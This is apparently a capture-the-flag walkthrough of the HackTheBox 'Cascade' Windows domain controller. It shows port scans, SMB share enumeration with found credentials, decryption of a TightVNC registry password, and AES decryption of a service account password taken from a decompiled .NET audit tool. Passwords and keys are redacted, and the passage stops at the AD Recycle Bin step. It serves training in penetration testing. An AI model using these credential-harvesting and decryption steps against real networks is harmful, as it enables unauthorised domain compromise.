Cascade is a medium Windows machine configured as a Domain Controller. LDAP anonymous binds are enabled, and enumeration yields the password for user r.thompson, which gives access to a TightVNC registry backup. The backup is decrypted to gain the password for s.smith. This user has access to a .NET executable, which after decompilation and source code analysis reveals the password for the ArkSvc account. This account belongs to the AD Recycle Bin group, and is able to view deleted Active Directory objects. One of the deleted user accounts is found to contain a hardcoded password, which can be reused to login as the primary domain administrator.
PORT STATE SERVICE REASON VERSION 53/tcp open domain syn-ack ttl 127 Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1) | dns-nsid: |_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39) 88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-03-05 15:34:05Z) 135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn 389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? syn-ack ttl 127 636/tcp open tcpwrapped syn-ack ttl 127 3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped syn-ack ttl 127 5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49154/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49155/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49157/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 49158/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49165/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
$ smbmap -H 10.10.10.182 -u r.thompson -p <SNIP> -R Data [+] IP: 10.10.10.182:445 Name: casc-dc1 Disk Permissions Comment ---- ----------- ------- Data READ ONLY .\Data\* dr--r--r-- 0 Tue Jan 28 16:05:51 2020 . dr--r--r-- 0 Tue Jan 28 16:05:51 2020 .. dr--r--r-- 0 Sun Jan 12 19:45:14 2020 Contractors dr--r--r-- 0 Sun Jan 12 19:45:10 2020 Finance dr--r--r-- 0 Tue Jan 28 12:04:51 2020 IT dr--r--r-- 0 Sun Jan 12 19:45:20 2020 Production dr--r--r-- 0 Sun Jan 12 19:45:16 2020 Temps .\Data\IT\* dr--r--r-- 0 Tue Jan 28 12:04:51 2020 . dr--r--r-- 0 Tue Jan 28 12:04:51 2020 .. dr--r--r-- 0 Tue Jan 28 12:00:30 2020 Email Archives dr--r--r-- 0 Tue Jan 28 12:04:51 2020 LogonAudit dr--r--r-- 0 Tue Jan 28 18:53:04 2020 Logs dr--r--r-- 0 Tue Jan 28 16:06:59 2020 Temp .\Data\IT\Email Archives\* dr--r--r-- 0 Tue Jan 28 12:00:30 2020 . dr--r--r-- 0 Tue Jan 28 12:00:30 2020 .. fr--r--r-- 2522 Tue Jan 28 12:00:30 2020 Meeting_Notes_June_2018.html .\Data\IT\Logs\* dr--r--r-- 0 Tue Jan 28 18:53:04 2020 . dr--r--r-- 0 Tue Jan 28 18:53:04 2020 .. dr--r--r-- 0 Tue Jan 28 18:53:04 2020 Ark AD Recycle Bin dr--r--r-- 0 Tue Jan 28 18:56:00 2020 DCs .\Data\IT\Logs\Ark AD Recycle Bin\* dr--r--r-- 0 Tue Jan 28 18:53:04 2020 . dr--r--r-- 0 Tue Jan 28 18:53:04 2020 .. fr--r--r-- 1303 Tue Jan 28 19:19:11 2020 ArkAdRecycleBin.log .\Data\IT\Logs\DCs\* dr--r--r-- 0 Tue Jan 28 18:56:00 2020 . dr--r--r-- 0 Tue Jan 28 18:56:00 2020 .. fr--r--r-- 5967 Sun Jan 26 16:22:05 2020 dcdiag.log .\Data\IT\Temp\* dr--r--r-- 0 Tue Jan 28 16:06:59 2020 . dr--r--r-- 0 Tue Jan 28 16:06:59 2020 .. dr--r--r-- 0 Tue Jan 28 16:06:55 2020 r.thompson dr--r--r-- 0 Tue Jan 28 14:00:05 2020 s.smith .\Data\IT\Temp\s.smith\* dr--r--r-- 0 Tue Jan 28 14:00:05 2020 . dr--r--r-- 0 Tue Jan 28 14:00:05 2020 .. fr--r--r-- 2680 Tue Jan 28 14:00:01 2020 VNC Install.reg
VNC Registry File
The VNC Install.reg was the only thing that held any real data we could use. After downloading it and opening it we see a password in hex for TightVNC.
Using a little trick I found on github for VNCDecrypt, I can decrpyt this hex password.
We got a hit on s.smith, so we can see what else they might have access to via SMB.
SMasHing SMB with s.smith
Looking into shares we see we have access the a Audit Share.
1 2 3 4 5 6 7 8 9 10 11 12
$ smbmap -H 10.10.10.182 -u s.smith -p <SNIP> [+] IP: 10.10.10.182:445 Name: casc-dc1 Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin Audit$ READ ONLY C$ NO ACCESS Default share Data READ ONLY IPC$ NO ACCESS Remote IPC NETLOGON READ ONLY Logon server share print$ READ ONLY Printer Drivers SYSVOL READ ONLY Logon server share
Looking into this share we have a couple of files and maybe a custom exe file.
$ smbmap -H 10.10.10.182 -u s.smith -p <SNIP> -R 'Audit$' [+] IP: 10.10.10.182:445 Name: casc-dc1 Disk Permissions Comment ---- ----------- ------- Audit$ READ ONLY .\Audit$\* dr--r--r-- 0 Wed Jan 29 12:01:26 2020 . dr--r--r-- 0 Wed Jan 29 12:01:26 2020 .. fr--r--r-- 13312 Tue Jan 28 15:47:08 2020 CascAudit.exe fr--r--r-- 12288 Wed Jan 29 12:01:26 2020 CascCrypto.dll dr--r--r-- 0 Tue Jan 28 15:43:18 2020 DB fr--r--r-- 45 Tue Jan 28 17:29:47 2020 RunAudit.bat fr--r--r-- 363520 Tue Jan 28 14:42:18 2020 System.Data.SQLite.dll fr--r--r-- 186880 Tue Jan 28 14:42:18 2020 System.Data.SQLite.EF6.dll dr--r--r-- 0 Tue Jan 28 14:42:18 2020 x64 dr--r--r-- 0 Tue Jan 28 14:42:18 2020 x86 .\Audit$\DB\* dr--r--r-- 0 Tue Jan 28 15:43:18 2020 . dr--r--r-- 0 Tue Jan 28 15:43:18 2020 .. fr--r--r-- 24576 Tue Jan 28 15:43:18 2020 Audit.db .\Audit$\x64\* dr--r--r-- 0 Tue Jan 28 14:42:18 2020 . dr--r--r-- 0 Tue Jan 28 14:42:18 2020 .. fr--r--r-- 1639936 Tue Jan 28 14:42:18 2020 SQLite.Interop.dll .\Audit$\x86\* dr--r--r-- 0 Tue Jan 28 14:42:18 2020 . dr--r--r-- 0 Tue Jan 28 14:42:18 2020 .. fr--r--r-- 1246720 Tue Jan 28 14:42:18 2020 SQLite.Interop.dll
Source Code Analysis
We can download CascAudit.exe and see what thats about. We get it to our Windows VM and open it in dnSpy, and look at the MainModule.
This shows us a part of the executable that uses sqlite to create an account over LDAP, I suppose. As well as a function Crypto that wasn’t mentioned in the code. So it must be in a dll on the share. Guess we’ll go find more in the Audit Share. We can grab the CascCrypto.dll and Audit.db and check these out.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
# Audit.db
$ sqlite3 10.10.10.182-Audit_DB_Audit.db '.dump'\ PRAGMA foreign_keys=OFF; BEGIN TRANSACTION; CREATE TABLE IF NOT EXISTS "Ldap" ( "Id" INTEGER PRIMARY KEY AUTOINCREMENT, "uname" TEXT, "pwd" TEXT, "domain" TEXT ); INSERT INTO Ldap VALUES(1,'ArkSvc','<BASE64>','cascade.local'); CREATE TABLE IF NOT EXISTS "Misc" ( "Id" INTEGER PRIMARY KEY AUTOINCREMENT, <SNIP>
So we have a hash for the user ArkSvc. Next we look at the dll we got back in dnSpy. We have the function Crypto and looking it over we see were using AES. Doing some research and looking at cipher mode CBC as mention in the dll code (aes.Mode = CipherMode.CBC;),we first we need to install pyaes (apt install python-pyaes). Then use python to decrypt the password we have from the sqlite database.
1 2 3 4 5 6 7 8 9 10 11 12
$ python3 Python 3.11.2 (main, Nov 30 2024, 21:22:50) [GCC 12.2.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import pyaes >>> from base64 import b64decode >>> key = b'KEY' >>> iv = b'IV' >>> aes = pyaes.AESModeOfOperationCBC(key, iv = iv) >>> decrypted = aes.decrypt(b64decode('<BASE64>')) >>> print(decrypted.decode()) <SNIP> >>>
We got the password for arksvc. We can check our access with nxc.
Group Name Type SID Attributes =========================================== ================ ============================================== =============================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group CASCADE\Data Share Alias S-1-5-21-3332504370-1206983947-1165150453-1138 Mandatory group, Enabled by default, Enabled group, Local Group CASCADE\IT Alias S-1-5-21-3332504370-1206983947-1165150453-1113 Mandatory group, Enabled by default, Enabled group, Local Group CASCADE\AD Recycle Bin Alias S-1-5-21-3332504370-1206983947-1165150453-1119 Mandatory group, Enabled by default, Enabled group, Local Group CASCADE\Remote Management Users Alias S-1-5-21-3332504370-1206983947-1165150453-1126 Mandatory group, Enabled by default, Enabled group, Local Group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
We see were in the AD Recycle Bin Group, and looking online we find a github stating that the Group has the permissions to read deleted AD objects. We can try to see if there is anything that has been deleted.
